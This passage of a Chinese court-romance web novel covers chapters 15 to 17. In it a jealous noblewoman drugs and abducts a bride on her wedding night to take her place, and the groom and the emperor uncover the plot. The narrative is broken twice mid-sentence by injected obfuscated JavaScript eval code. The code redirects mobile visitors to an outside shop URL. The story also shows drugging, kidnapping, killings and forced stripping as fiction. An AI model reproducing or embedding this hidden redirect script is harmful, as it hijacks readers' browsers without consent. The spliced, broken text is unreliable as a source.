但余拓海对李承玦并非全然无怨,一日午休散值,有朝中大人与他寒暄,恰逢李承玦带着内侍从远处走来,余拓海突然加大笑声,豪爽拍着另一位绯袍大人肩膀:“哈哈哈,刘大人,张大人,五月十三,记得来喝小女喜酒。” “哎哟,婚期定下啦?这日子会不会太赶?” 余拓海大手一挥,余光瞥见有人离近,声音又高了些,听起来只当是武将的粗犷:“两个孩子本就两情相悦,天赐良缘!早点结亲才是好事,我还等着抱外孙呢!哈哈哈!” 话音刚落,就见李承玦带着内侍从远处走来。宫道上的官员纷纷见礼,余拓海也行了礼,只是脸上轻松,心口也是说不出的畅快。 宫道静默,百官垂首,只见龙靴淡淡从众人面前走过,内侍在后面碎步跟上。 方才被笑声烘热的宫道,此刻却有如被冷风吹过,气氛莫名肃穆冷寂,不可侵犯。 15.第十五章 这桩御赐的婚事,婚期甫一定下,双方以最快速度给各自需要邀请的宾客送去请柬。幼薇的外祖家在洛阳,余拓海早早派人前去,把外祖父、祖母,舅父一家接到京都来。 此桩亲事在朝中人人乐道,状元郎庄怀序才名远播,余拓海得此佳婿,不知羡煞多少人。宴席虽未开,道贺之声早已不绝于耳。 但也不是所有人都真心祝福,起码在京都东街的侍郎府上,后宅里便哭闹不停。 “凭什么凭什么凭什么!凭什么是那个贱人嫁给了庄循之!” 新换的茶具再次被扫到地上,与满地的首饰、衣裳、花瓶碎片、团着的被子枕头混杂在一起,几乎无处下脚。 傅叶嘉发髻凌乱得几乎快散开,衣裳也扭曲着裹在身上,她犹不解气,一把将桌布扯下摔在地上,仍觉不够,又随手抓起一枚金簪,跪在地上对着那锦缎反复刮划,恨不得这桌布就是余幼薇的脸,将皮肉划烂、划得鲜血淋漓才解气。 云英郡主上前将傅叶嘉拉起:“嘉儿,天下间的好男儿多的是,何必非要挑那一人喜欢?” 傅叶嘉不知哪来的力气,硬生生把云英郡主甩开:“哪里有好男儿?满京都有谁比得上庄循之?有比他优秀的吗?有比他好看的吗?没有!没有!” 桌布划了半天划不烂,傅叶嘉瞥见剪刀,连滚带爬过去,丢掉簪子,抓起剪刀便对桌布一顿猛刺。 云英郡主瞧见女儿这个样子,心都要碎了,连忙过去按住女儿的手,生怕她伤着自己:“不怕,不怕,圣人如今已开设恩科,我们嘉儿喜欢状元郎,等一放榜,阿母便前往榜下为你捉婿,保准不让状元郎跑了。” “不要啊!我不要状元郎!长得丑的我不要!不要!” “那捉探花郎!探花郎有才有貌,娘为你捉探花郎回来。” “我要庄循之,你为什么不把庄循之给我捉来?你还说会找机会去与左相议亲,你也没有!现在让别的贱人抢了先,都怪你不帮我!” 云英郡主被女儿搡在地上,眼泪也流了出来。 她子嗣缘薄,头几胎都滑了,只有傅叶嘉保了下来。这孩子来得不易,她一直当眼珠子一样疼宠,有什么要求都是极力满足。虽时常令她头疼,好在长大后已没有幼时刁蛮,加上女儿又爱读书,在京中渐渐积攒了才名,本来一切都是好的,只待年龄到了说上一门好亲事,一生圆满顺遂,为此,她欣慰且幸福。 不想女儿骄傲,说夫婿要自己选,恰是那年科考,京中举子甚多,等待殿试放榜时期,傅叶嘉在鹿鸣春设下宴请,凡是参加殿试的举子皆可赴宴,并立了一道题,只要对出下句,便有百两银子奉上。 鹿鸣春本就是风雅之地,读书人大多家贫,对这等文雅富贵之地心向往之,却不敢踏入,傅叶嘉设宴乃是大雅之事,举子可以大张旗鼓前去不必担忧银两,二来奖金丰厚也令人心动;于鹿鸣春而言,招待一群未来官老爷自然乐得配合,加上一介女子竟大言不惭出题考举子,更引人好奇。 不想这一题,还真把人难住了。 那些举子一一瞧过题目,抓耳挠腮答不上来,傅叶嘉让小二代为转达说不急,十日内对上来楼中领赏便是,饶是如此,常有人试着奉上答案,却无人得到奖赏。 庄怀序是唯一一个未曾赴宴的举子,有人劝他一试他也不感兴趣,直到十日之期将到众人实在答不上来,加上知道庄怀序才华横溢,于是将题目说与他,求他帮忙,在贵女面前扳回脸面。 他看罢题目略作沉吟,不多时眉头一松,提笔在纸上写下内容交予众人。众举子传阅后大惊,忙不迭送到鹿鸣春。 小二将答案递进包厢,自设宴起便未曾露面的傅叶嘉,竟匆匆推门而出,站在楼梯上面对众举子示意手中纸张,说话的声音都不稳了:“是哪位公子对得此句?” 众人你看看我我看看你,如此一番考教究竟谁得头筹,答案不言自明。 “果然是循之贤弟……” “是循之贤弟答对了!” 傅叶嘉长舒口气,微笑看向众人:“哪位是循之公子?” “这……” 有人支吾着,大抵也是觉得这话说出来驳人面子,却还是说了:“回小姐,循之贤弟他……并未前来。” “什么!?”傅叶嘉变了脸色。 后来才知道,这个循之公子便是彼时的宰相之子庄怀序,众举子习惯了称他的字,以至于傅叶嘉一时陌生。 傅叶嘉早闻庄怀序之名但并不以为然,以为只是沽名钓誉之辈,不想当真是有学识的,有此傲气倒也不奇怪了。 此事过去不久,殿试放榜,庄怀序位居榜首,钦点状元,傅叶嘉意料之中,十分骄傲。 至于这银子,傅叶嘉亲自送到相府,庄怀序不曾见她,只让下人收了银子。 翌日便听闻庄怀序将银子一部分送于落榜的贫困学子作盘缠,另一部分捐到书院,用以资助贫困学子读书,这些事情全部以门下侍郎——也就是傅叶嘉父亲的名义。 傅叶嘉气得拿他没办法,却沦陷得更深了。 如此才学样貌,才配得上她傅叶嘉,她很想见他一面,然她与庄家并无往来,于是她央求了谢明姝想办法设宴帮她近距离相看,终于在国公府见了庄怀序一面,当真是翩翩公子,芝兰玉树,至此魂牵梦绕,眼里再也容不下旁人。 得知庄怀序向圣人请求赐婚,她已经心碎气绝过一次,实在气不过就去找了余幼薇的麻烦,事后心里舒服了一些,想着亲事一日未成,庄怀序早晚看穿余幼薇才学平平,说不定就退婚了。 哪知道前几日就听到了他们五月成婚的消息,傅叶嘉再也无法欺骗自己,在家发了好几天的疯。 云英郡主不是没有为女儿说项过,但当时相府透出来的意思是,暂无成婚打算,哪知不过一年人家就要成婚了,分明是没瞧上女儿。 她又气又恼,可也毫无办法,只能心疼地抱住女儿。 “阿母,您下去歇歇吧,让我来劝劝阿姐。” 一个穿得花里胡哨的少年进来,腰间悬了一堆配饰,走起路来叮叮当当。 他进来,从地毯上捡了只干净茶碗,又拎起茶壶晃了晃,见还有茶水,便给自己倒了杯,又用脚勾正一张歪倒的凳子,自顾自坐了。 “傅林茂!这不是你捣乱的时候!” 云英郡主只有一个女儿,她不许夫君纳妾,但香火总要延续,于是便和夫君商量着从旁支过继一个幼子过来。为防女儿不高兴,这孩 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傅林茂目送母亲远去,确认再无旁人,忙从凳子上跳起来关上门,走到傅叶嘉身边蹲下身,一把夺过她的剪子:“你在这戳戳戳有什么用,能把庄循之戳回来吗?” 傅叶嘉一双眼睛血红,看起来像是多日未睡:“不然呢?我倒是想戳余幼薇那个贱人,你去把她捉来啊,帮我把她捉来!” “阿姐。” 傅林茂抬手,捧着傅叶嘉的脸,一点一点帮阿姐整理鬓发:“杀人越货的事情我们是不能做的,你怎么能说这种傻话?婚期将近,阿姐应该好好保养自己才是,否则怎么当庄怀序的新娘?” 傅叶嘉眉头紧锁,一把将傅林茂推开,眼里透着嫌弃:“阿母说我疯了,我看你才疯了,要嫁给庄循之的是余幼薇那个贱人,跟我有什么关系!我没有那个好命!” 傅林茂被推得倒在地上,手掌被耳环扎了一下,留下一个血眼。他吹了一下,也不恼,盘腿坐在地上,微笑:“谁说的?” 他又伸手将傅叶嘉散乱的鬓发掖到耳后,嗓音压得温柔:“阿姐,你可以是。” 大概是傅林茂的话太笃定,又或者他脸上的笑容太过意味深长,傅叶嘉被他瞧着,身体突然打了个激灵,她的脑中忽然生出一个想法,这或许也是傅林茂的想法,但这想法太大胆也太疯狂,几乎让她怀疑自己是不是真疯了,她咽了咽口水,心跳一点点加速,却还是尽可能让自己看起来冷静,问:“阿茂,你有什么办法?” 傅林茂只是微笑:“婚期将近,阿姐还是多休息,你这几日瘦了不少,弟弟瞧了好心疼。” 傅叶嘉一把掐住他的手腕,眼睛几乎要瞪出来:“说啊,你到底有什么办法,为什么不说!” 傅林茂静默一瞬,脸上笑意更深:“阿姐冰雪聪明,不是已经猜到了吗?” 他拾起已经破碎的红色牡丹绣花桌布,轻轻盖在傅叶嘉头上。 隔着破破烂烂的洞眼,望着姐姐过于震惊而微微战栗的身影,声音压低,带着一种致命的蛊惑。 “阿姐你看——” “盖上盖头,你便是新娘了。” 16.第十六章 五月十三这天,宜祭祀,宜纳采,宜嫁娶,诸事吉昌。 这一日朝廷休沐,辰时的日光刚漫过余府的雕花窗棂,庭院却早早忙碌起来。丫鬟们捧着小姐的一应物件穿梭,仆役们在正厅张挂红绸,铺接亲红毯,廊下的瓷瓶都换了新开的牡丹,处处透着鲜亮。 幼薇坐在梳妆镜前,晨光透过窗纱落在她肩头。 她一身大红喜袍铺开,金丝银线绣出繁复花纹,尤其裙摆处绣的鸾鸟,彩色丝线叠出羽翼层次,竟似振翅欲飞。整套喜服衬得她肌肤胜雪,每个见了她的人都止不住地赞叹。 从外面请来的妆娘为她添了细致的妆,往日清灵可爱的脸在妆容的映衬下也多了几分姝色,唇红齿白,顾盼流转。小桃昨日还帮她染了蔻丹,薄薄一层橘色由浅向深过度,显得手指纤纤。 小桃不住地对幼薇道:“小姐你今天真是太美了,特别特别美!我们每日都请丽娘子为你梳妆吧!” 过一会儿又抓着帕子跺脚的:“哎呀,好想知道姑爷看了什么反应,怎么还要晚上才能见到呢?姑爷看了定然极为欢喜。” 小桃快言快语,毫不知羞,屋子里的人听了都笑了。 幼薇闹了个红脸:“早晚把你也嫁出去。” 外祖母和舅母也在,该叙的话前些时日都已叙过了。他们早在半个月前便抵了京都,个中始末余拓海都已对他们说明,当然除了李承玦这部分。 他们都是幼薇的亲人,母亲不在,这份亲情也是无法割断的。 外祖母握着她的手,亲自为她插上那支累丝嵌珠的凤钗,眼眶泛红:“我的绵绵,往后便有自己的家了,要好好的。” 舅母上前,在她怀里塞了一个大大的荷包,里面装满银票。 舅母年近四十岁,性子素来平和,她道:“孩子,成婚以后的日子不比从前,掌管一个家不容易,何况又是那样的人家,这是你的底气。你母亲去得早,舅父舅母从小不在你身边,这是我们替你母亲尽的心意。” 一番话说得一家人眼泪潸潸,便是不善言辞的外祖父和舅父眼睛也红了,一家人抱在一起哭了会儿,正伤感间,外面远远传来一阵鞭炮声,噼里啪啦,伴随欢快的唢呐锣鼓,一路响彻街巷。 四十多岁妇人打扮的喜娘匆匆忙忙跑进来,手里挥着帕子:“来了来了!花轿到门口了!” 一时间,屋子里的伤感被冲散,取而代之的,是一种不知该喜悦还是该不舍的忙乱。 舅母用帕子按了按眼角,外祖母又替幼薇理了理衣襟:“好孩子,去吧。” 盖头被喜娘轻轻放下,眼前的世界瞬间只剩下一片朦胧的红。她被小心翼翼地搀扶起来,透过盖头下方的缝隙,她看到一双熟悉的官靴走到近前,是父亲。 忙了一早上,努力不让悲伤侵占自己,到底还是迎来了这一刻。 余拓海看着眼前凤冠霞帔、身姿窈窕的女儿,五大三粗的男人,这会儿直接红了眼眶,他逼迫自己笑出来:“走吧,为父送你。” 父亲温暖的大手扶着她,直至府门外。 鞭炮碎屑如红雨般纷纷扬扬,空气中弥漫着炮竹味,喧闹声在此刻达到了顶点,在一片模糊的红色光影里,她看到一双簇新的男子锦靴停在自己面前,然后,一只骨节分明、温热干燥的手朝她伸来。 幼薇闻到了一阵清雅的兰草香气。 染了蔻丹的手指轻轻搭上他的手。 那一瞬间,周遭所有的嘈杂仿佛骤然远去,她切实地感受到,面前的男人就是她未来的夫君了,这场赐婚直到此刻,才终于有了实感。 该要如何对一年前的自己诉说,她没有嫁给李承玦,而是被他亲口赐婚给了另一个不认识的男人。 幼薇被那只手牵引着,小心翼翼地坐进了花轿。 轿帘垂落,伴随司仪高亢的“起轿——”声,轿子被稳稳抬起,微微晃动了一下,便开始随着队伍前行。 - 今日虽休沐,紫宸殿却依旧忙碌。圣人一早便驾临,案上的折子堆得像小山,总也批阅不完。 往常还有一些重臣要臣在殿中议事,今日只有圣人自己,紫宸殿一直静悄悄的,偶尔会出现茶碗搁在一边的声音。 李承玦这会儿没在批折子,而是对着字帖练字。 批了一上午的折子,这会儿做些重复而机械的事情,对他来说是休息。 他幼时不被重视,没有大儒为他开蒙,字也写得一般;结识楚元胥后,得知他有经天纬地之才,他时常请教,字才勉强好些。 大渊重文轻武,他的异族血脉本就饱受争议,如今登基了,更要把字练好才可以。他现在的字比臣子都不如。 迟了十余年,太傅终于成为他的老师,时不时入宫指点他的课业。 他的这些字帖临过,也要请太傅入宫批改。 紫宸殿平日虽也静得落针可闻,今日却格外煎熬——圣人一语不发,既不叫人添茶,也不让传糕点,殿内气氛冷肃得像结了冰。 当值的内侍和宫女纷纷归结于圣人气场太强,没有大臣在,他们这些小小奴婢无法招架。 好在这煎熬没多久,宫婢们终于盼来一个救星。 ——“陛下,右相大人求见。” 李承玦头也不抬:“传。” 楚元胥着私服进宫,羽扇轻摇,面带微笑行礼:“微臣参见陛下。” 李承玦屏退左右,淡淡抬首:“今日休沐,你怎么来了?” 楚元胥从怀中掏出一个小木盒,晃了晃,直接走上前,搁在龙案上:“给你送安神香啊,怕你晚上睡不着觉。” 李承玦觉得他说话有些阴阳怪气,却还是耐着性子道:“安神香暂时还够。” “啊,那正好多用点吧,效果加倍。” 李承玦把笔搁下,冷眼瞧他:“你到底来做什么?” “哎呀,陛下脾气好大呀。”楚元胥悠闲地扇着羽扇,“说了来送香,难道还是过来喝喜酒的?” “朕这里没有喜酒给你喝。” 楚元胥轻咳一声:“这说到喜酒,哎呀,今日似乎是陛下赐婚的大喜之日,陛下身为媒人,怎么不前去观礼?莫非是左相府上,忘了给陛下送请柬?” 李承玦面色冷淡:“你这么想喝喜酒,你怎么没去?” 楚元胥一脸吃了苍蝇的表情,怪腔怪调道:“道不同不相为谋,臣可不敢高攀。” 又捋捋胡子,谆谆教诲: “倒是陛下你,身为媒人,人家成婚面也不露,礼也不送,本军师以为,此举不妥。” 李承玦没说话。 楚元胥今日说话虽欠揍,这话却是有理的。 半晌,他提了提声音:“于内侍。” 于内侍恭谨入殿。 李承玦声音平静:“你去相府,走一趟。” - 花轿到了相府,幼薇与庄怀序执手跨火盆,越马鞍,经司仪主持,与庄怀序于宾客前拜了天地父母。 相府里除却庄怀序的父亲、母亲,上有一位祖母,下有叔婶一房,以及一名十一岁的幼弟,谈不上多大的家族,比起幼薇家里已经算人多的了。 幼薇一一拜过,这时听到外面有人高唱:“内侍大人到——” 内侍,代表的就是圣人,众人一听,知道这是圣人的旨意,座上的长辈纷纷起身,向圣人行礼。 于内侍身着常服,面带笑意步入,身后跟着两名小黄门,抬着盖着红绸的礼盒。 他拱手,先向堂内众人拱手行礼,开口语气亲和却不失分寸:“小人给二位新人道喜啦!圣人知晓今日是你们的大喜日子,本想着若得空便过来沾沾喜气,无奈宫里事务缠身,特意让小人跑一趟,把心意给送过来。” 说罢回手掀开红绸,露出礼盒里的物件。 “这里头是圣人挑的一对和田玉鸳鸯佩,一对錾金同心锁。圣人说,盼你们往后日子过得和和美美,永结同心。” 圣人送的贺礼,无论东西贵重与否,这份荣誉是寻常人不可比的,可谓是喜上加喜。 众人连忙谢礼,于内侍笑着摆手:“快别多礼,陛下的心意送到,小人也该回宫复命了,告辞。” 拜礼已过,宾客开宴,幼薇被喜娘带下去,缓缓扶到后宅。 喜娘一路上嘴巴不停:“娘子真是好福气,圣人赐婚,夫君俊俏,还是状元郎,婆婆亲和,人丁简单,圣人还给您送贺礼,传出去不知道要羡煞多少人,哎哟,喜娘我主了这么多婚事,没一桩比得上娘子美满的。” 幼薇在盖头下干笑两声,没说话。 将人带到新房,喜婆扶着幼薇坐下:“娘子渴否?饿否?能忍过吗?再过一两个时辰新郎官便来揭盖头了,娘子最好忍一忍,万一后面出恭实在麻烦。” 幼薇摇头,外祖母给她塞了点心,她还没吃。 喜娘松了口气,道:“娘子切记不可自己揭盖头,只能夫君来揭,否则不吉利的。” 其实幼薇不信,不过婚姻之事都是尽可能图个吉利,她应了好,喜娘又叮嘱几句旁的,便也离开了。 内宅深处通常不会有人打扰,丫鬟仆从都打发走了,只有幼薇一人。 她静静地想,这样便是最好的。 她与那个人,再也不要有交集。 思绪纷乱间,许是今日疲累,幼薇在这坐了一会儿,不知不觉便睡着了。 醒来时是被人拨来推去的动作吵醒的,她睁开眼睛,盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591796|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头还在头上,可她感觉到有人按着自己,另有一人正在脱自己的喜袍。 她直觉不对,首先,身上酸软,使不上劲,其次,没有人大婚夜是这样的。那二人动作极为粗鲁,甚至还在小声说话。 一个男声说:“阿姐,你今天真美,我不舍得让你嫁人了。” 一道女声略显不耐:“你这药行不行,这么用力别把她弄醒了!” “不会的阿姐,她闻了那么久的迷药,明天才会醒。” 那女声催促:“快点吧,再晚点庄循之便回来了。” 幼薇在盖头下睁大了眼睛,这个声音,是傅叶嘉! 她要干什么??? 幼薇一瞬间害怕到极点!她该大叫吗?他们会不会杀她?可是难道什么都不做,成全他们的阴谋? 外袍被人剥下,她被推到床上,随后便是一阵悉悉索索的声音。 幼薇强迫自己冷静,事已至此,傅叶嘉既怕庄怀序回来,她便应该尽可能拖上一拖,对方若真想杀她,早就动手了,既然没杀,便是心存顾忌。她必须利用这点周旋。 内心飞速权衡一番,幼薇努力让自己开口:“傅小姐……” 她没力气,声音也弱。 可新房太安静,声音又那样熟悉,刚穿好外袍的傅叶嘉吓得从床上弹起来,眼睛瞪大:“余幼薇!你醒了!?” 她气恼地抓着傅林茂的衣袖:“你不是说她明天才醒?现在怎么办!” 傅林茂脸色也变了一变:“怎么可能!?难道她有解药?” 幼薇吸了口气,提了提力气,继续道:“不管你要做什么,你不该犯傻,事情不是你想的那么简单。” 她大概猜到了傅叶嘉的想法,实际上她也没把握,只能吓吓她,顺便拖延时间。 傅叶嘉本就做贼心虚,听了幼薇的话,反倒激起她的狂性:“你懂什么!?我只要庄循之,不管用什么手段!” 她转头对傅林茂道:“堵上她的嘴,把她弄出去,快点!” 刚好她身上掉落一块帕子,傅林茂掀开盖头一角塞她嘴里,又给她闻了点迷药,然后从外面叫了两个小厮进来,将幼薇塞进木箱里抬了出去。 至于傅叶嘉,她坐在床边,盖好盖头,身姿窈窕。 傅林茂说得对,盖上盖头,谁知道她是傅叶嘉还是余幼薇? 蜡烛里有迷香,庄怀序又喝了酒,她已经提前用了解药。过了今夜,她便是他名正言顺的妻子,谁也改变不了。 他可以不喜欢她,但不能得不到他。 - 紫宸殿里灯火通明,楚元胥不在,只有内侍和宫婢值守。 李承玦搁了笔,看了眼更漏,一更天。才一更天。 一切都已尘埃落定,他与她,尘归尘,土归土,他为皇权,她有一桩好姻缘,他们都回到了既定的轨迹里,互不干扰。 他们本该如此。 紫宸殿寂静无声,烛光在灯罩里散射出柔和的光线,照在身上只觉冰冷。大殿空旷,宫婢和内侍就像角落的摆件,或是一具具呼吸的尸体。桌案的花瓶上插着今早新折的花枝,可是当真新鲜吗?它们是不是树的肢体? 一切都毫无生机,静得仿佛全世界都死光了,只有他是唯一活人。但他知道有一个地方必定是人声鼎沸,热闹不绝,是什么让那里生机勃勃,谁在感染他们?置身于那样的暖融喧嚣里,又该是何等滋味? 他盯着奏折,一列列竖排墨字渐渐扭曲,剥离,接连从纸面挣脱,滑下案几,飘过门槛,向殿外飞去。 去哪?他起身追出去。殿外天色阴沉,月亮只有朦胧的光,那些扭曲的字逃得越来越远。他本就有轻功,脚步飞快,沿途遇上一队巡逻的守卫,那些人见到形色匆匆的帝王,连忙跪下见礼,李承玦闻所未闻,在他们身前飞速掠过,衣角带起一阵风。 回过神时,李承玦已经飞上一间屋顶,那些扭曲的文字凭空消失在此,而在前方,隔着一条狭窄街道,他直直望见一座灯火通明的宅院,里面张灯结彩,红绸挂得到处都是。 前院有酒席未散,后宅灯都亮着,他来这里做什么?他不懂,却已经飞到了一间更高的房屋上,对这热闹大宅静静望着。 好热闹,如他想的那样。 李承玦不知道自己在望什么,他就只是想望着,或许是在静得全世界都死光的地方坐了一天,他迫切想感染几分热闹,或许是他飞得累了,所以停留歇息,他望着一间贴着双喜贴纸的房间,如鹰隼盯着猎物。 这时,大宅的后门悄悄打开,两个粗布麻衣的下人鬼鬼祟祟抬着一个箱子出来,二人一齐放到了牛车上。 李承玦随意扫了一眼,继续盯着那间贴了双喜的屋子。 17.第十七章 待那二人将牛车推走,恰好经过李承玦的视线,他随意一扫,看到箱子夹缝中露了一角衣料,瞳孔骤然一缩。 他目力本就极佳,又有异族血统,暗夜视物与白昼无异——这露出的料子举国稀有,他得过十匹,都被他在半年前赏给了一个女人。 他身形如鬼魅般飞掠而下,未等那二人反应,只听“咔嚓”两声脆响,两名仆从已软倒在地,脖颈被扭成了诡异的角度。 箱子被他打开,里面的人蜷缩着,头上盖着红盖头歪在一边,身上穿的正是香云绫,他还能闻到衣料传来的淡淡香味,不重,却很有存在感。 李承玦一把掀开盖头。后巷光线极暗,牛车又笼在墙的阴影里,可他擅长夜视,在他的视线里,这张脸肌肤如雪,唇色嫣红饱满,黛眉之下长睫轻敛,握成拳的双手,指甲薄薄染了一层颜色,无一处不精致。虽然缩在箱子里,仍旧姝丽无双。 赫然是余幼薇。 只是—— 他眸色沉沉,盯着她右手臂露出的一截手腕。 他明明让卫昭送了雪肌玉颜膏给她,时间已经过去两个月。 为什么,她手腕上的疤痕还在? - 傅叶嘉坐在床边,搭在膝头上的指尖因为兴奋而微微发抖。 自从将余幼薇那个障碍清走,她的唇角始终翘着。 她终于能够得偿所愿,成为庄怀序的新娘,如果他知道自己娶了这样一位知书达理颇富才情的妻子,一定会感到很骄傲的吧?他怎么还不回房? 与傅林茂作宾客坐在酒席间,她希望庄怀序多停留几分,再多饮几杯酒,这样她就能多看他一会儿,也让他少跟余幼薇那个贱人有接触可能。 好在庄怀序确实被灌了许多酒,她也成功在所有人大醉之时假装告辞混入后宅,此刻成为新娘的她,突然恼起那许多人灌她夫君的酒,一个个不知道怀的什么心思,万一把她夫君的身子喝坏了怎么办? 自己的夫君自己疼,明早一定要给夫君煮些解酒汤,再多做些滋补的东西给他养养身体,她嫁给他,必定将他的一切都照顾得妥妥当当。 如此一番畅想,傅叶嘉嘴角的笑容更深了,这时她听到门外的院子里,有凌乱的脚步声传来,一个小厮关切地道:“少爷,新房到了,您小心台阶。” 放在膝头上的手猛地揪紧,心脏也开始砰砰乱跳,她的夫君,回来了! 门被人从外面推开,两道脚步声跌跌撞撞进来:“少爷小心,您喝杯茶吧!” 接着是有人坐下的声音,另一人倒茶的声音,以及小厮奉茶和庄怀序的喝茶声。 房间很静,他的喝茶声是那样清晰,傅叶嘉听着,甚至能想象到庄怀序喉结上下滚动的样子,在前院时她便直勾勾盯着他喝酒的模样,她还注意到他的喉结都透着好看的粉,她的夫君,果然秀色可餐。 “笃”一声,庄怀序放下茶杯,侧头对小厮道:“我没事了,下去吧。”声音听着还算清醒。 小厮垂首推下,轻轻带上房门。 一时间,新房内只剩下一个醉酒的新郎,以及盖了盖头的新娘子。 新房里也备了一桌饭菜,也有酒水,庄怀序坐在桌边,看了一眼未被动过的饭菜,不由轻笑转身:“你是实心眼的?饭菜也不吃,只知道等着,打算把自己饿死?” 接着声音微恼,朝床边人走来:“我很早便想回来,同僚一直灌我喝酒,还是装醉逃回来的,你等了一晚上,饿不饿?” 盖头下的人连忙摇摇头,她能感觉到庄怀序正在靠近,一面紧张得连呼吸都不稳了,一面欣喜庄怀序竟用这样温柔的语气对自己说话,她幸福得要飘起来,再想到后半生她都能拥有这样的夫君,一时间被这美好幻想冲击得有些晕眩。 庄怀序见床边的女人连连摇头,又见她双手揪紧在一起,联想到幼薇娇憨可爱的模样,他眼底的笑意带着宠,正欲拿起一旁的玉如意挑开盖头,然而余光再一扫女人的紧握的手,指甲纤长干净,不见任何颜色。 可他分明记得,上午到余府接亲时,新娘递过来的手,上面新染了蔻丹,薄薄一层橘红色,深浅过度分明。 嘴角的笑容瞬间冷了下来,他的眼底渐渐染上一层寒霜。 他不动声色,走到侧墙边上,那里悬了一把佩剑。 读书人也有佩剑的习惯,不过都是未开刃的装饰剑,昭示文人风骨,是一种雅行。 不过他这把不同,是开了刃的,真正的杀人剑。 他取下佩剑,握在手中,缓缓拔出剑来,用回忆往昔的口吻道:“花朝节那日你送我的玉佩我日日戴着,你呢?我送你的玉佩你可日日戴着了?” 床边坐着那人明显一滞,紧接着快速点点头,似乎对此不欲多谈。 庄怀序见此,突然低笑出声,那笑声扩散到喉咙,一点点变大,最后索性大笑起来,竟似遇到了什么畅快之事。 傅叶嘉从未见过这样的庄怀序,一时心慌得不行,不过她跟他本就接触不多,或许自己想多了,她现下只希望二人能够快点入洞房行过周公之礼,那就彻底板上钉钉不过。 下一秒,一抹银光飞速闪过,傅叶嘉只觉头上一轻,眼前骤然明亮,还没反应过来,冰冷长剑已经抵在她脖颈,她心下一凉,下意识抬起眼来,红色盖头自二人身前飞落,庄怀序的脸在她的视野中被这坠落的红盖头自上而下幻化出来。 他一袭红衣,面色阴冷如冰,嘴角挂着一抹邪异笑容,正持剑抵着自己。 看到新娘换人,他脸上没有任何惊讶之色,只是上下扫她一眼,淡淡对她说了两句话。 第一句。 他用剑尖将她外袍衣襟剥了剥:“这衣服你配穿?脱了。” 第二句。 “我娘子在哪。” 傅叶嘉面色涨红,强烈的屈辱感从心底升腾,逼得她眼泪都出来了——什么意思!?她堂堂郡主千金,不过是一件破衣裳,她有什么穿不得的?她还嫌这衣裳穷酸呢!为了嫁给他,她都没计较这是余幼薇穿过的! 她是哭了,也不介意让庄怀序知道,她含着眼泪恨恨地看他:“我不就在你面前吗?你跟我拜了堂成了亲,为什么不认账?” 剑光一闪,一阵风在她头上狠狠扫过,下一秒,傅叶嘉发髻散乱。 他砍断了她的发! 庄怀序冷淡道:“我没耐心跟你废话,余幼薇在哪!?” “呵哈哈哈哈哈……” 头发散了,傅叶嘉又变成那个在家里哭闹着要嫁人的疯模样,她精心准备了那么久,却什么都没变! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595528|185973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她笑,笑得眼泪都出来了:“你找不到她了,因为,她已经死了!” 被人拿剑指着,她也不怕,她站起身,再看向庄怀序,眼里满满都是怨恨:“余幼薇有什么好?我堂堂郡主之女,费尽心思嫁给你,我们就这样在一起,不好吗?论美貌,论才华,论对你的爱,她哪里比得上我?你拿剑指我,我不怪你。我跟一个死人计较什么?” 她一把握住他的剑,用力,鲜血顺着指间流淌:“循之,我不怪你,我爱你,我爱你!你杀了我更好,这样我的鬼魂就可以永远留在你房中,你干什么我都陪着你,就算你不肯跟我在一起,我也要每天看着你!你读书,我和你一起读,你吃饭,我在你旁边守着你,无论活着还是死了,我都这样爱你!” 庄怀序表情漠然,他一把抽回剑,也不顾这样是否会割伤握剑的人,转身出了房间。 “来人!夫人不见了!给我搜!” 顿了顿,眼底升上一抹寒气:“先别惊动客人。切记,活要见人……死要见尸。” ——“是!” 转回身,傅叶嘉已经追到门口来,她头发披散,流血的手扶着门板,鲜血顺着门往下淌,她眼里仍旧恨恨的,却又暗含一丝畅快:“你不会找到她的,你只能跟我在一起,庄循之!我才是你拜过堂的娘子!” 庄怀序握着剑,不为所动:“傅叶嘉,你不顾自己的颜面,连你爹门下侍郎的颜面也不顾吗?我再给你一次机会,说不说?” “说什么傻话,我就是太顾颜面,才眼睁睁看着你娶了别人!” “那便是不肯说了——来人!” 院外又飞快进来两个仆从。 “少爷。” “扒光,丢到前院。” 他面对傅叶嘉,用剑尖挑起她的脸,露出一个温柔到极致的笑,如往日一般亲切迷人。 只是他手中的剑尚在滴血,显得他这温柔薄情且残忍。 ——“你这么喜欢送上门给人做娘子,我便让你做个够。” 两个仆从领命上前,一个反剪傅叶嘉的双臂,另一个开始粗暴地扒她衣裳,傅叶嘉见他完全不是开玩笑,而是来真的,她再次吓出了眼泪,整个人拼了命地奋力挣扎,用头,用肩膀去撞那两个仆从,甚至不管不顾去咬他们,眼睛却愤恨地盯着庄怀序:“庄循之!我是你娘子!我母亲是云英郡主!我父亲是门下侍郎!你不顾我们的感情,总该顾忌我父亲母亲会不会放过你!你今日侮辱我,你就不怕让人笑话吗!” “说什么傻话?”他低低笑着,“你不怕,我有什么可怕?” 傅叶嘉的衣裳被扒得只剩亵衣,再扒下去,便只有肚兜了,到这一步,对女子来说几乎与裸体无异,傅叶嘉羞愤欲死,可倘若能被庄怀序看进眼中,她的清白也算给了他,如此想来,竟又有一丝快意。 